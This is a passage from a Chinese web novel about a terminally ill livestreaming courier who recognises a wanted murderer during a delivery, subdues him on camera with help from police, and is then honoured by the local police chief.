《直播：我绝症孤狼，为啥惯着你？》 第61章 A级通缉犯 林澈挂断电话，熟练地操控着三轮车来了个调头，朝着狮子公寓的方向驶去。 三轮车停在公寓楼下，林澈抱起一个半人高的箱子，迈开步子走进单元门。 刚一进去，便看到门口排起了长长的队伍，人群中不时传来抱怨声。 这片公寓楼两梯十户，平常等电梯就得七八分钟，今天走近一看，更是雪上加霜——其中一个电梯的显示屏上赫然亮着“维修中”的字样。 队伍里的人们皱着眉头，不停地抬头看着电梯楼层数字跳动，嘴里嘟囔着今天得等多久才能上楼。 林澈望着这场景，心中暗暗叹了口气，知道送件的时间又要延长了。 直播间的弹幕如同沸腾的水泡泡，不断往上翻涌。 “主播，主播，你不是不送上门吗？” “难道有什么隐情？” “是不是接收人是个美女？” “啊，主播你这家伙果然见色起意。” “不行了，我已经向二舅举报你这家伙了。” “呸！真不是东西，怎么也要给我们看看。” 林澈看着这些飞速划过的弹幕，额角青筋微微跳动，嘴角抽搐了两下，脸上挂满了黑线。 无奈地将镜头往下移，露出快递箱子上醒目的“轮椅”字样，声音里带着几分哭笑不得。 “兄弟们，确实一般情况不送上门。” “但这人买的是轮椅。” “这种还是送一下吧，反正也浪费不了多少时间。” “什么就美女，主播是那种人吗？” “二舅也不给咱机会啊。” 弹幕瞬间被“哈哈哈”刷屏，各种调侃如潮水般涌来。 “确实，主播没几天好活了，没必要祸害别人。” “神踏马没几天好活，没必要祸害别人。” “每个词都在陈述事实，但就是感觉在骂主播。” “你们真就是完全不在乎主播的感受？哦，刚刚那句话我说的，那没事了。” 林澈顾不上再理会这些调侃，站在电梯口。 时不时踮起脚尖朝电梯显示屏张望，额头上的汗珠顺着脸颊滑落，浸湿了衣领。 足足等了十五分钟，“叮！”的一声脆响，电梯门终于缓缓打开，金属门摩擦发出细微的“吱呀”声。 林澈将箱子抱进电梯，用膝盖顶了顶，按下了九楼的按键，电梯缓缓上升。 与此同时，九楼的909房间内，昏暗的光线从窗帘缝隙中透进来，在地面上拉出几道细长的光影。 一个身材瘦高、皮肤黝黑的男人戴着鸭舌帽和黑色口罩，穿着小一号并不合适的T恤和短裤，只露出一双冰冷如鹰隼般的眼睛。 他手上的动作粗暴而迅速，将女人往椅子上绑时，尼龙绳与木质椅子摩擦发出“簌簌”的声响。 女人拼命挣扎，椅子在地板上拖出刺耳的声音。 男人俯身凑近女人，语气冰冷得像是淬了毒。 “你也不想死吧。” “那就老老实实配合我。” “先说出你的银行卡密码多少？” 女人瞳孔剧烈收缩，眼白里布满血丝，泪水在眼眶中打转，睫毛上还挂着泪珠。 被粗糙的胶带封住的嘴唇微微颤抖，发出“呜呜”的闷响，脸颊因为过度挣扎而泛起不正常的红。 她脖颈前倾，脑袋疯狂摇晃，试图挣脱束缚，可双手被死死绑在椅背上，只能无助地扭动身躯。 男人冷哼一声，喉间发出的声响像是野兽的低咆。 他右手从腰间抽出匕首，刀刃在昏暗的光线中泛着森冷的光，“噌”的一声抵在女人细嫩的脖颈上，锋利的刀尖刺破皮肤，渗出一滴血珠。 咬牙切齿，唾沫星子喷在女人脸上。 “写出来！” “告诉你别耍花招！” “但凡密码是错的，你今天就休想活着离开。” 女人疯狂点头，脖颈不敢有丝毫晃动，生怕刀尖再深入几分。 颤抖着接过笔，手腕因为恐惧而不停哆嗦，在纸上写密码时，字迹歪歪扭扭不成样子。 就在这时，“咚咚咚”的敲门声骤然响起，惊得两人同时一颤。 林澈的声音穿透门板传来。 “您好，快递！” 男人浑身肌肉瞬间绷紧，如同被触碰的毒蛇，猛地攥住女人的头发，将匕首又压近了半寸，压低声音恶狠狠道。 “别出声！” 林澈的声音再次响起。 “喂？有人吗？” 紧接着，女人的手机在桌上疯狂震动，刺耳的铃声在寂静的房间里格外突兀。 男人脸色瞬间阴沉如墨，一把拽起女人，粗暴地将她拖进卫生间，木地板上留下两道凌乱的拖痕。 确认女人被控制住后，男人迅速调整呼吸，扯下鸭舌帽和口罩，随手抹了把脸，才佯装镇定地喊道。 “来了！” 林澈擦了把额头的汗水，发丝被汗水黏在额头上。 将快递递过去的刹那，目光扫过男人手上不停作响的手机，屏幕上赫然显示着自己的号码。 “您的快递，请签收。” 话音刚落，林澈的目光不经意间对上男人的眼睛，瞳孔猛地一缩。 只因为，男人头顶悬浮着醒目的红色字体：“A级通缉犯——徐强”。 徐强点点头，抓住箱子上的扣手，直接拽到房间里。 一抬头看到林澈骤然变色的表情，心中“咯噔”一下，察觉到不对劲。 眯起眼睛，目光如淬了毒的箭矢般射向林澈，恶狠狠地问道。 “还有事吗？” 林澈强压下内心的震惊，喉结艰难地上下滚动，连连摇头。 “没.....没事了。” 第62章 你认出我了？ 林澈转身快步离去，双腿有些发软。 既然知道人在这里，那就直接报警，没必要自己往里冲。 直播间的弹幕如同决堤的洪水，疯狂刷屏。 “卧槽，还以为是美女，没想到是个大汉。” “这人眼神够狠的，看一眼我都心里一哆嗦。” “确实，有些吓人。” “这人干啥的，怎么这么凶？” “社会人害怕生活不够暴力。” “林澈，快走，这人感觉不对劲。” 梁国栋发完弹幕，紧盯着手机屏幕，眉头拧成一个死结，目光死死锁住画面里徐强的脸。 手指无意识地摩挲着下巴，脑海中快速翻找记忆，总觉得这张脸在哪见过。 就在这时，林澈压低声音，对着镜头说道。 “刚刚那人是A级通缉犯。” “他不是看上去凶狠，而是真的杀过人。” 说着，林澈在网上找到一张通缉令，举到镜头前。 通缉令上的照片里，徐强脸颊圆润，留着平头，和眼前精瘦的男人相比，样貌有了明显变化。 但那双阴鸷的眼睛，却如出一辙。 通缉令下方，用加粗字体写着案件梗概。 与邻居发生口角，半夜三更，拎着把菜刀冲进邻居家中，杀害对方一家四口，最小的被害人刚刚三岁，随后逃往深山中...... 这一张通缉令如同一记重锤，砸在直播间网友的心上。 “卧槽！卧槽！” “杀人犯！入室杀人！一言不合杀你全家的狠人。” “这人不是在隔壁省逃窜吗？怎么来到银河市。” “主播，赶紧走。” “@老梁，快上啊！到你出马的时候了。” “我正在带人赶过去的路上，林澈你先走。” 另一边，徐强关上门，背靠门板，脑海中不断回放着林澈刚刚的表情。 那一瞬间瞳孔的收缩、不自然地停顿，都像尖锐的刺扎在他心里。 咬了咬牙，眼中闪过一抹狠厉，心一横，从口袋里抽出寒光闪闪的匕首，猛地拉开房门，大步冲了出去。 林澈根本没敢在电梯前停留，转身就冲进楼梯间。 楼道里弥漫着潮湿发霉的气味，声控灯忽明忽暗，在脚下投下摇晃的影子。 林澈双手紧紧抓住扶手，一步跨三个台阶，脚步急促而慌乱，运动鞋与水泥台阶碰撞出“咚咚”的声响。 汗水顺着他的脊背往下淌，浸透了后背的衣衫。 就在这时，身后传来急促的脚步声和粗重的喘息声。 徐强如同一只嗅到猎物的恶狼，在昏暗的楼道里紧追不舍。 两人都没有说话，只有沉重的呼吸声和慌乱的脚步声在空荡荡的楼梯间回荡。 直播间的气氛紧张到了极点，网友们的心仿佛都被一只无形的手紧紧揪住。 一条条弹幕带着颤抖的情绪疯狂刷新，字里行间满是担忧与惊恐。 “靠靠靠！” “不行了，我的心脏病要犯了。” “这个第一人称，比游戏啥的都吓人，身后的脚步声更近了。” “卧槽，主播你快跑啊。” “我不敢看了。” 在这生死攸关的时刻，林澈爆发出惊人的速度，九层楼的距离，仅仅用了两分钟便冲到一楼。 楼道里昏暗的灯光在急促的身影下不断晃动，胸膛剧烈起伏，肺部像是着了火一般灼痛。 然而，当刚准备伸手推开消防门时，门外突然传来孩童稚嫩的、吱吱呀呀的喊叫声。 林澈伸出的手猛地僵在半空，指尖距离金属门把手不过几厘米。 直播间瞬间被满屏的问号占领，焦急的询问声不断弹出。 “主播什么情况？” “继续跑了？” “这个时候绝对不能停啊。” “是啊，主播，你在等什么？” 紧接着，有眼尖的网友发现了端倪： “兄弟们，你们没听到吗？消防门外面有孩子的声音。” “主播现在跑了，杀人犯没抓到主播会做什么呢？” “应该不会吧，这毕竟是光天化日之下。” “这人可是有前科，之前就杀害过孩子，知道自己暴露了，会不会大开杀戒？这个谁也说不好。” “艹，怎么办？跑还是不跑？” 楼道里，林澈听着身后由远及近、越来越清晰的脚步声，汗水顺着下颌滴落在地。 忽然露出一抹释然的笑容，挺直脊背静静站在原地。 片刻后，徐强喘着粗气、满脸狰狞地跑了下来，胸口剧烈起伏，额头上的汗水不断滴落，浸湿了衣领。 徐强恶狠狠地盯着林澈，声音中带着嘶哑的喘息。 “跑啊！” “怎么不跑了？” 当他也听到门外孩子的声音时，脸上突然浮现出一抹阴鸷的笑容，眼中闪烁着邪恶的光芒。 “哦，原来是这样。” “走吧，咱们出去，跟我一起回去。” “放心，你不跑，我也不会做什么事。” 林澈缓缓耸了耸肩膀，语气平静得仿佛在谈论天气。 “走吧，我跟你回去。” 消防门被缓缓推开，刺眼的阳光猛地灌进昏暗的楼道，林澈与徐强并肩踏入人群。 一群嬉笑打闹的孩子正围在电梯口玩耍，稚嫩的欢笑声戛然而止，空气仿佛瞬间凝固。 孩子们天真无邪的脸上露出疑惑与不安，下意识地往旁边退去，让出一条通道。 “叮——”电梯门应声而开。 林澈深吸一口气，率先抬脚迈进电梯，后背绷得笔直，每一根神经都紧绷如弦。 徐强不紧不慢地跟在后面，恰好站在林澈正后方，两人之间的距离近得能感受到对方身上散发的热气。 徐强的声音像是从幽冥深处传来，冰冷而阴森，带着威胁的意味。 “你认出我了？” 林澈嘴角勾起一抹若有若无的弧度，却始终保持沉默，双手悄然握紧，指甲深深掐进掌心。 身旁一个胖乎乎的小男孩仰起头，视线撞上徐强阴沉的脸，浑身猛地打了个哆嗦，眼眶瞬间泛起泪花，紧紧抱住身旁小伙伴的胳膊。 林澈揉了揉小胖子的脑袋。 随着楼层数字的跳动，电梯缓缓上升，压抑的气氛让人喘不过气。 终于，“叮”的一声，电梯门再次打开。 林澈和徐强一前一后走出电梯，楼道里的灯光忽明忽暗，照得两人的影子在墙壁上摇曳不定。 徐强冷冷地命令道，伸手推搡了一下林澈的后背。 “走，回屋。” 第63章 发生了什么 两人走到909房间门前，徐强掏出钥匙打开房门，“砰”的一声重重关上。 就在门合起的刹那，林澈迅速转身，抄起放在玄关处自己刚刚送来的快递箱，用尽全身力气朝徐强的脑袋砸去。 “咚！”的一声闷响，徐强被打得一个趔趄，眼前金星直冒，还没等他反应过来，林澈已经转身朝屋内跑去。 慌乱之中，林澈使出浑身解数，施展出成龙大哥的绝学。 随手抓起茶几上的微波炉，咬牙奋力往后一甩，金属外壳在空中划出一道弧线。 紧接着，遥控器、钥匙如雨点般朝徐强飞去。 甚至一把扯下墙上的电视，任由电线断裂，将沉重的显示屏砸向身后。 书本、花瓶、水杯纷纷离手，房间里一片狼藉，物品碎裂的声音此起彼伏。 房间的东西有限，林澈没扔多久，周围就空空如也了。 徐强倚在门框上，当他看到林澈再也拿不出任何东西时，嘴角缓缓扯开一抹残忍的弧度，泛黄的牙齿在昏暗光线里若隐若现。 伸出骨节嶙峋的右手，随意在脸上抹了一把，将额角被砸破处渗出的鲜血涂抹得满脸都是，狰狞可怖的模样更添几分凶悍。 歪斜着脑袋，嘴角慢慢勾起，眼中跳动着嗜血的疯狂。 “扔啊！” “怎么不扔了？” 此刻，直播间的弹幕疯狂滚动，一条条信息如同炸开的锅。 “卧槽！怎么办？” “啥都没有了，这可是A级通缉犯啊。光是看着我就腿软。” “尤其是他额头被砸破后，脸上沾上了血迹，这凶悍程度一下子就上来了。” “主播，你先躲起来。” “哥们，根本没地方躲，这边后面就是落地窗，难道让主播从九楼跳下去？这根本就不现实。” “老梁呢？你人怎么还没到？” “老梁，你再不来主播就要完蛋了。” 老梁死死盯着手机屏幕，指节因用力攥紧而泛白。 猛地一拍身旁小李的肩膀，声音里满是焦急。 “快点！” “再快点！” 小李苦着脸，额头上的汗珠顺着下巴滴落，脚下死死踩着油门，车子发出不堪重负的轰鸣。 “师父，我都快把脚丫子捅到油箱里了。” “快不了了，咱这破车已经到极限了。” 房间内，林澈缓缓后退，喉结上下滚动。 徐强带着诡异的笑容，双眼泛着瘆人的绿光，像是一头锁定猎物的野兽，不紧不慢地向前逼近。 手中的匕首在阳光下划出一道银色的弧光，耍了个漂亮的刀花，眼神贪婪地在林澈身上游移，仿佛已经看到了接下来的血腥场景。 林澈的后背重重撞在墙壁上，发出闷响。 将双手缓缓架在身前，身体微微颤抖。 这绝不是害怕，而是肾上腺素开始分泌的前兆。 徐强眼中红光一闪，嗜血的欲望彻底爆发，他怒吼一声，飞身而起，手中的匕首如同毒蛇吐信般，朝着林澈的心脏狠狠刺去。 直播间里，疯狂滚动的弹幕突然诡异的凝滞。 心脏承受不住的观众颤抖着闭上双眼，仿佛这样就能隔绝即将发生的血腥画面。 然而，死寂只持续了刹那。 林澈突然沉肩拧胯，肌肉绷紧如拉满的弓弦。 左腿带着破风声闪电般抬起，膝盖骨精准撞向徐强的膝盖外侧。 伴随着“咔嚓”的脆响，徐强直挺挺地跪倒，膝盖重重砸在地面的瞬间扬起一片灰尘，那声闷响让所有人耳膜发颤。 徐强瞪圆的牛眼里布满血丝，喉间溢出不成调的嘶吼，还没等他反应，林澈收回的左腿如弹簧般蓄力，右腿迅猛上抬，膝盖裹挟着劲风狠狠撞向那张扭曲的脸。 徐强庞大的身躯如同断线风筝般腾空而起，在空中划出一道诡异的弧线后，“啪叽”一声拍在地板上，震得整个房间都跟着晃了晃。 手中的匕首脱手而出，在地面上划出一串尖锐的金属摩擦声，最终“叮当”一声掉在地上。 死寂的直播间瞬间被疯狂刷屏的弹幕淹没。 “卧槽！卧槽！我看到了什么？” “主播，库库两招，先是给A级通缉犯打得跪在地上，随后愣是打飞出去。” “我不是在看电影吧！” “本以为主播只能扔点东西，没想到主播身手还这么了得。” 梁国栋看着直播，刚将矿泉水瓶凑到嘴边，喉间的水还没咽下，就被眼前的画面惊得猛地呛住。 透明的水珠喷在挡风玻璃上，他瞪着屏幕，镜片后的双眼几乎要瞪出眼眶。 声音发颤，手指无意识地摩挲着手机边缘。 “小李啊，速度可以稍稍慢一些了，注意安全，别撞到人。” “林澈他......他已经控制住局势。” 握着方向盘的小李侧脸一僵，眼睛瞪得溜圆。 看着屏幕上刚刚还不可一世的徐强，此刻却像摊烂泥般趴在地上，喉结艰难地上下滚动。 “师、师父，这……这发生了什么？” 林澈剧烈喘息着，胸膛剧烈起伏，额头上豆大的汗珠不断滚落。 右手撑在墙上，左手扶着膝盖，努力平复着因剧烈搏斗而紊乱的呼吸。 这一刻，林澈心中满是庆幸，这都多亏之前当保安时系统抽到的职业技能——初级格斗擒拿。 林澈警惕地看着趴在地上的徐强，并没有第一时间上前。 心中暗自思忖，要是贸然上去，突然发现徐强没有昏倒，两人陷入地面角力，谁能拿住谁还真不好说。 所以不管如何先补刀吧，总是没错的。至于会不会打死人，根本不在林澈考虑之中。 眼神中充满谨慎，先伸出脚，以迅雷不及掩耳之势将匕首踢到了房间的角落，随后弯腰抄起一旁掉漆的木质板凳。 林澈双手紧紧握住板凳的边缘，高高举起，青筋在手臂上凸起。 第64章 什么A级通缉犯，给他一板凳也老实了许多 就在这时，徐强缓缓悠悠地坐了起来，眼神迷离，脸上还满是茫然。 抬头的瞬间，正好看到一个板凳对着自己狠狠砸过来，本能地往旁边一闪，但还是晚了一步，板凳重重地砸在了他的胳膊上。 “啊——”徐强发出一声凄惨至极的惨叫，声音中充满痛苦和恐惧。 捂着受伤的胳膊退到一边，原本眼中兴奋嗜血的光芒消失不见，取而代之的是一片茫然和深深的恐惧。 直播间里，弹幕瞬间疯狂刷屏。 “OHHHHHHHH！” “什么A级通缉犯，给他一板凳也老实了许多。” “你看他的眼神都清澈了。” “主播，可以的，虽然倒霉，但这身手真不错。” “有没有可能主播知道自己倒霉，所以才学习的身手。” “哎呦，卧槽，你的话真有道理啊！” 林澈缓步向前，每走一步都充满压迫感。 徐强则像惊弓之鸟，林澈靠近一步，他就后退一步。 突然，林澈眉头微微一皱，眼中闪过一丝疑惑——徐强竟然不往外跑，反而是一步一步靠近卧室。 察觉到不对劲的林澈，立即加快脚步，一个箭步冲上前，稳稳地堵在了徐强前面，眼神锐利如鹰，紧紧盯着对方，防止他有任何突发举动。 徐强面色瞬间阴沉如墨，扭曲的五官因疼痛和不甘皱成一团，他捂着不断渗血的胳膊，意识到自己打算挟持户主的计划彻底落空。 喉咙里发出一声不甘的低吼，他踉跄着转身，破旧的运动鞋在地面摩擦出刺耳的声响，跌跌撞撞地朝着门外跑去。 林澈目光紧紧锁住徐强的背影，并没有立刻紧追上去制服他，而是深吸一口气，缓步跟在后面。 对于这种亡命徒，林澈深知不能靠得太近，就像有经验的猎人都明白，过于急切反而会被垂死挣扎的猎物反扑。 此时，只需吊在后面紧追不舍，耗到对方精疲力竭，胜利自然就会到来。 况且，时间和支援都站在自己这边，徐强只是困兽犹斗而已，林澈有足够的耐心。 徐强发了疯似地朝着楼梯口狂奔，想要逃到楼下。 就在他即将冲下楼梯的瞬间，一道身影从上方疾掠而下。 林澈毫不犹豫地从楼梯一侧纵身翻下，稳稳地落在徐强前方，身影如同一座不可逾越的高墙，彻底堵住了他的退路。 徐强被逼得只能调转方向，朝着楼上跑去，粗重的喘息声中夹杂着绝望的咒骂。 这栋楼二十多层，他爬得气喘吁吁，脚步愈发沉重，每上一级台阶都像是在与无形的枷锁抗争。 林澈同样感觉肺部火辣辣的，仿佛随时都会炸开。 直播间里，网友们的心都提到了嗓子眼，弹幕如潮水般疯狂滚动。 “玛德，这比什么电影都刺激。” “一步一步追着A级通缉犯，这才是真正的生死追击。” “主播，太有耐心了。” “老梁呢？老梁你到哪里了？” “已经到达楼下，马上就到。” 林澈抽空扫了一眼弹幕，心中微微安定，脚步更加从容不迫。 终于，徐强跑到了顶楼，却发现通往天台的门被铁链紧紧拴住。 焦急地四处张望，目光突然锁定在旁边的一间小屋，来不及多想，一头钻了进去。 林澈缓缓走到小屋门口，一股刺鼻的臭味扑面而来。 皱了皱鼻子，这才发现这里是保洁临时存放垃圾桶的地方。 掏出手机，打开闪光灯，刺眼的光束刺破屋内的黑暗。 在光束的照射下，只见徐强蜷缩在角落，手中紧紧握着不知从哪里顺来的扫把，浑身颤抖，眼神中满是惊恐和绝望。 林澈仔细观察了一番，确定小屋没有其他出口，便站在门口，静静地等待着。 空气中弥漫着紧张而压抑的气息，每一秒都显得格外漫长。 不多时，一阵急促的脚步声从身后传来，梁国栋带着五名全副武装的特警出现在楼梯拐角处。 林澈指了指散发着腐臭气息的小屋。 梁国栋目光如炬，微微眯起眼睛，朝林澈点了点头，随即手掌轻轻一挥，下达行动指令。 五名特警瞬间呈战斗队形散开，手中的警棍泛着冷冽的金属光泽，他们压低身形，鱼贯而入冲进小屋，动作利落而迅速。 刹那间，小屋内爆发出震耳欲聋的杀猪般惨叫，夹杂着棍棒划破空气的“咻咻”声，以及重物倒地的闷响。 此起彼伏的声响在狭窄的楼道里回荡，令人不寒而栗。 梁国栋双手抱臂，站在门外，微微颔首。 “不愧是A级通缉犯果然够顽强。” “这样还敢继续抵抗。” 林澈站在一旁，嘴角不受控制地抽搐了一下。 就在这时，急促的脚步声从楼梯下方传来，小李带着三名特警面色涨红、气喘吁吁地冲了上来。 原来警方此次采取了兵分两路的策略，一队爬楼，一队坐电梯上来，确保万无一失。 小李亮出自己的警棍。 “师父，我也进去帮个忙。” 梁国栋毫不犹豫地点点头。 小李得到应允后，立即带着三人如离弦之箭般也钻了进去。 直播间瞬间被密集的弹幕疯狂刷屏。 “哇，不愧是A级通缉犯果然够狠，足足九名警察伺候他一人？” “光听声音就知道抵抗的很强。” “主播，主播，你进去看看啊。” “楼上的哥们，这就是你不懂事了。” “就是那么危险的地方，主播进去受伤了怎么办？” “兄弟们，我刚刚查到徐强这家伙是因为什么事和邻居发生口角的了。” “快说，别逼我跪下来求你。” “徐强要盖新房，想要霸占邻居家的地，然后邻居不同意，他就怀恨在心，趁着夜深人静动手杀人。” “卧槽！刚刚还觉得有些过了，现在一看，尼玛的我恨不得自己上去打两拳。” “这算什么？我找你要你的土地是给你面子，你敢不同意就杀你全家？什么霸道行径？” “村霸？恶匪？这可是二十一世纪了，怎么还有这种人。” “村里多了去了，吃绝户这种事不少见。” 第65章 走吧，你也好久没回队里看看了 时间一分一秒地过去，约莫三分钟后，小屋里的打斗声渐渐平息。 梁国栋轻咳一声。 “抓住了吗？” 小屋的门突然被猛地撞开，小李顶着一头乱发，警服皱巴巴地歪斜着，狼狈却又满脸兴奋地探出脑袋，声音里还带着没缓过来的粗气。 一边说着，一边侧身让出门口，好让同事将五花大绑的徐强押出来。 “师父。” “这人虽然拼死抵抗，又是踹又是咬的，愣是把老张的手都抓破了，但还是让我们抓住了！” 梁国栋微微眯起眼睛，目光扫过被制服的徐强，满意地点点头。 “嗯嗯，带回去吧。” 话音刚落，他胸口的对讲机突然“滋滋”作响。 “梁队，909发现户主。” “身上多处伤痕，并无生命危险。” 梁国栋神色一松，迅速回道。 “好，叫救护车。” 处理完这些，梁国栋转头看向林澈，脸上露出笑意，伸手拍了拍他的肩膀。 “走吧，你也好久没回队里看看了。” 林澈一愣，先是指着自己，随后无奈地耸耸肩。 “好吧，但我要先把三轮车送回去。” 这边的对话，直播间的网友们可是听得一清二楚，弹幕瞬间被欢乐的气氛刷屏。 “哈哈哈哈！” “神踏马好久没回去看看了。” “这么一说确实有几天了。” “不是，谁家好人天天去刑警大队啊。” “说得就和回家一样。” “主播也是好上了，今天的晚饭又着落了。” 林澈慢悠悠地下楼，熟练地跨上快递三轮车，跟在一辆警车后面晃晃悠悠地往站点驶去。 站点门口，站长正翘着二郎腿刷手机，看到警车停在门口，瞬间慌慌张张地站起来，满脸警惕地跑出来。 “警察同志，出什么事了？” 梁国栋漫不经心地摆摆手，语气轻松地像是在说今天天气不错。 “哦，没啥大事。” “就是他抓了个A级通缉犯。” 站长先是下意识地应了声：“哦，那就好。” 可下一秒，他眼睛瞪得像铜铃，声音都拔高了八度： “什么？” “A级通缉犯？” “这叫没啥大事？” 他不可置信地看着梁国栋，又转头看向已经熟门熟路坐进警车后排的林澈。 林澈朝站长挥挥手，一脸淡定。 “站长，剩下的快递麻烦您安排人送一下了。” “我接下来要去局里坐坐。” 站长张着嘴，半天说不出话来，最后只能笑着点点头，看着警车扬尘而去。 到了刑警大队，林澈刚一下车，梁国栋低头看了眼手机，脸色突然变得严肃起来。 “林澈，局长要见见你。” 林澈闻言，眉毛轻挑，眼神中带着几分疑惑，反问道。 “为啥啊？” “难道是那个A级通缉犯？” 梁国栋神色郑重地点点头，眼神中满是赞赏与欣慰。 目光警惕地扫了扫四周，压低声音说道： “确实。” “更大的原因他是隔壁省的通缉犯。” “内部消息，隔壁省派出了千人搜山，愣是没抓住，结果让你抓住了。” “你明白了吧。” 梁国栋伸手轻轻拍了拍林澈的肩膀。 直播间弹幕如雪花般飘过。 “啊啊啊！” “我们都听到了。” “这悄悄话说了和没说一样。” “主播，真是好上了，现在都能见到局长了。” “主播，主播，这种事我们也能在现场吗？” “人生第一次见领导，没想到是在直播间里，我要翻个身以示尊重。” 林澈微微眯起眼睛，稍稍一想，眼中闪过一丝恍然，嘴角勾起一抹自信的笑意。 “长脸。” 梁国栋重重点头，脸上露出难得的开怀笑容。 伸手揽住林澈的肩膀，用力地晃了晃。 “就是这个意思。” “跟我走，我带你去。” 说着，便拉着林澈大步往前走去。 林澈默默跟在后面，脚步沉稳而从容。 对于见一位局长，其实没啥心理负担。 虽说大部分情况下局长都是当地的二把手。 但越是位高权重的人，反而越好相处。 最怕的是那些有点小权的普通人，仗着手中的权力作威作福。 来到局长办公室门前，梁国栋抬手轻轻敲了敲门，得到应允后，缓缓推开门。 一股淡淡的茶香扑面而来，林澈抬眼望去，就看到一位两鬓有些斑白，但看样貌也就比梁国栋大个五六岁的中年人。 那人坐在办公桌后，正专注地看着文件，身上的警服笔挺，透着一股威严的气息，听到开门声，他抬起头，目光温和而深邃，正对着林澈微微颔首。 梁国栋抬手示意，声音沉稳有力地介绍道。 “这位是袁局长。” 紧接着，转向另一侧。 “袁局，这位就是林澈。” 袁局长闻声起身，主动伸出骨节分明的手，脸上带着亲切的笑意，与林澈相握。 “我最近可是没少听到你的事情。” 林澈脸上浮现出一抹谦逊的笑。 “应该做的。” 微微抬手，指了指别在胸口的黑色摄像头。 “袁局，直播需要关吗？” 袁局长笑着摆了摆手。 “没事。” “咱们也就是聊些家长里短。” 说着，他俯身凑近摄像头，眼睛在灯光下折射出柔和的光。 “直播间的朋友们，你们好。” 刹那间，屏幕上飞速滚动的弹幕如潮水般暴涨。 “OHHHHHHHHH！” “没想到人生距离大人物最近的一次，竟然是在直播间里。” “和想象中很不一样啊，看上去特别好说话。” “哈哈哈，确实这样。” 袁局长伸手拉住林澈，示意他在浅米色布艺沙发上落座，又拿起桌上古朴的紫砂壶，壶嘴倾斜，琥珀色的茶水缓缓注入白瓷杯，氤氲的热气袅袅升腾。 “你这病没法治了？” 林澈垂眸盯着杯中起伏的茶叶，喉结微微滚动，声音平静。 “肝癌晚期。” “我这已经是特殊情况了。” “还能活蹦乱跳，没有病发症状。” 袁局长神色一黯，轻轻叹了口气，随即目光变得温和而郑重。 “其实让你来一趟。” “是之前的锦旗下来了。” 第66章 吃播 袁局长语气里带着亲切： “本来这种事都是老梁他们去送。” “但你比较特殊，我觉得亲自见见挺好。” “昨天刚说，结果今天你就来了。” 林澈闻言有些发愣，下意识地挠了挠凌乱的头发，露出疑惑的神情。 “锦旗？” 袁局长起身走到深木色办公桌旁，拉开抽屉，动作利落地抽出一面锦旗。 红色绸缎在他手中展开，金色丝线绣着的。 "智勇助警正义楷模" "警民携手共护平安" 几个大字熠熠生辉，下方的小字工整地写着。 “林澈同志协助智破红姐拐卖案，银河市警局敬赠。” 梁国栋见状，上前一步，手掌重重拍在林澈肩头。 “别发愣了。” “去拿着啊。” 林澈连忙起身，猛地挺直脊背。 梁国栋不知何时摸出一台黑色单反相机，金属外壳在日光灯下泛着冷光。 半蹲着调整镜头，按下快门的瞬间，闪光灯骤然亮起，将林澈的笑容、袁局温和的颔首，连同锦旗上的鎏金大字，永远定格在那方小小的取景框里。 接过锦旗时，林澈的指尖微微发颤，粗糙的绸缎边缘摩挲着掌心的薄茧。 就在这时，袁局又从文件柜底层抽出一面崭新的锦旗，红色布料展开时带起轻微的“哗啦”声。 林澈抬头，睫毛在眼下投出细碎的阴影，眼底满是困惑。 “袁局，这又是？” 袁局轻轻抚平锦旗褶皱，目光变得柔和。 “这个是你最早从人贩子手中救下的三个小孩家长送来的。” “你当时啥都没留，他们找不到你，就送我这里了，给你。” “你今后的锦旗恐怕不会少。” 林澈顺手接了过去。 直播间的弹幕疯狂刷屏，各色字体在屏幕上炸开。 “卧槽！主播也是好上了。” “兄弟，我稍微算了算，按照主播现在这情况，一个月家里的锦旗就能论斤称了。” “确实，别人几年都遇不到个犯罪分子，主播几乎天天撞到。” “犯罪分子：别过来，咱们不熟！当我们想和他遇到？” “一定是特别的缘分，才可以一路走来送进局里。” “哈哈哈哈！” 袁局突然伸手，动作轻柔地替林澈抚平翘起的衣领，指尖带着长辈特有的温度。 “没事了，就这么点小事。” “对了，今天食堂做鱼，吃过晚饭再走吧。” 林澈也没推辞，点了点头。 走出办公室时，走廊的日光灯管滋滋作响，林澈和梁国栋的脚步声在空旷的楼道里回荡。 就在这时，只有林澈能听见的机械女声突然在脑海中炸开。 【恭喜宿主直播间观众认可度达到100%】 【奖励抽奖盲盒*1】 林澈嘴角不自觉上扬，转头对梁国栋说。 “梁警官，我去吃饭了。” 梁国栋笑着挥挥手。 “去吧，食堂的路你也熟悉。” “饭后记得来做个笔录。” 两人身影在楼道转角处分离，林澈朝着飘来饭菜香气的方向走去。 分开的瞬间，林澈迫不及待地搓了搓手，眼中闪烁着兴奋的光芒。 “统子，给我开。” 话音刚落，空气突然泛起涟漪，一个周身缠绕着金色符文的漆黑箱子轰然砸在灰白色瓷砖地面上。 “咔咔——”齿轮转动的声响在空间里格外清晰，箱盖缓缓弹开的刹那，刺目的紫色光芒瞬间充盈整个隔间，映得林澈瞳孔微微收缩。 下意识抬手遮挡，待光芒稍稍减弱，一个约莫铅笔盒大小的化妆盒稳稳落在掌心。 【恭喜宿主获得化妆盒*1】 【化妆盒：宿主可以按照自己心意给任何人画出精致的妆容，绝对不会让人察觉到异样。】 【不卸妆，根本分辨不出对方是不是人。】 林澈随手将化妆盒收起来 看向直播间，清了清嗓子。 “兄弟们，今天就到这里了。” “我......” 话没说完，满屏滚动的弹幕便将林澈的声音淹没。 “主播，别关！” “带我们去看看食堂！” “这个也不是什么机密的事情，求你了，带我们去看看。” “我们也想知道警察每天都吃什么。” 林澈挑眉看着那些留言，走廊尽头飘来的饭菜香适时钻进鼻腔。 思忖片刻，便点头同意了这件事。 “好，那今天就当一次吃播。” “不过为了防止你们听到什么不该听到的。” “我会把麦克风关了。” 弹幕立刻刷起整齐的回复。 “嗯嗯，没事。” “我们也怕听到什么。” “关了吧，关了安心。” “主播也算是第一人了，别人探店什么老字号，什么苍蝇馆子，主播直接去探店警局餐厅。” “这就是人脉啊！” “别问为什么？二舅给主播的底气。” 林澈指尖轻点关闭麦克风的按钮。 推开餐厅玻璃门的瞬间，蒸腾的热气裹挟着浓郁的香味扑面而来，不锈钢餐盘碰撞的叮当声、警察们的谈笑声交织在一起。 林澈站在门口，目光如炬，先是快速扫视了一圈餐厅。 暖黄色的灯光下，长条形的餐桌上摆满了各式菜肴，身穿制服的警员们三两成群地坐着，大快朵颐。 林澈嘴角微微上扬，随后轻车熟路地拿起银色餐盘，自然地加入打饭的队伍中，时不时还和周围相熟的警员点头致意，熟稔的仿佛也是这里的一员。 